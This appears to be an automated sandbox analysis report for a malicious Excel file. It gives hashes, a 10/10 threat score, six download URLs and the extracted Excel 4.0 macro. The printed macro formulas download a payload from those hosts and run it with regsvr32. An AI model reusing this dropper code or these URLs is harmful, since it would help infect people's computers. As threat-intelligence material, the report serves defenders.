General

  • Target

    c4ac17e3754d519d5f39488fa0e237b945013d325ae0fd9168f18432930041bc

  • Size

    48KB

  • Sample

    241120-fy43fswqaj

  • MD5

    b2f9c2716235094365d8237e3fb6f72a

  • SHA1

    0958ee88c33ce43ebdd41ff90797c20110276e75

  • SHA256

    c4ac17e3754d519d5f39488fa0e237b945013d325ae0fd9168f18432930041bc

  • SHA512

    bbb43bd6c9b8cb0cd691181e409980704279c6793de2861c1f6e797d225b06e43aacc2a9e78405e41d279068ae37ea95a93de548aa19ecbd1249714bbd197d30

  • SSDEEP

    768:E2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:ruTlbMKDNck01u/R2rZyjB+5

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/

http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/

https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/

http://1000paginas.com/tienda/vWtT/

http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

Targets

    • Target

      c4ac17e3754d519d5f39488fa0e237b945013d325ae0fd9168f18432930041bc

    • Size

      48KB

    • MD5

      b2f9c2716235094365d8237e3fb6f72a

    • SHA1

      0958ee88c33ce43ebdd41ff90797c20110276e75

    • SHA256

      c4ac17e3754d519d5f39488fa0e237b945013d325ae0fd9168f18432930041bc

    • SHA512

      bbb43bd6c9b8cb0cd691181e409980704279c6793de2861c1f6e797d225b06e43aacc2a9e78405e41d279068ae37ea95a93de548aa19ecbd1249714bbd197d30

    • SSDEEP

      768:E2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:ruTlbMKDNck01u/R2rZyjB+5

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks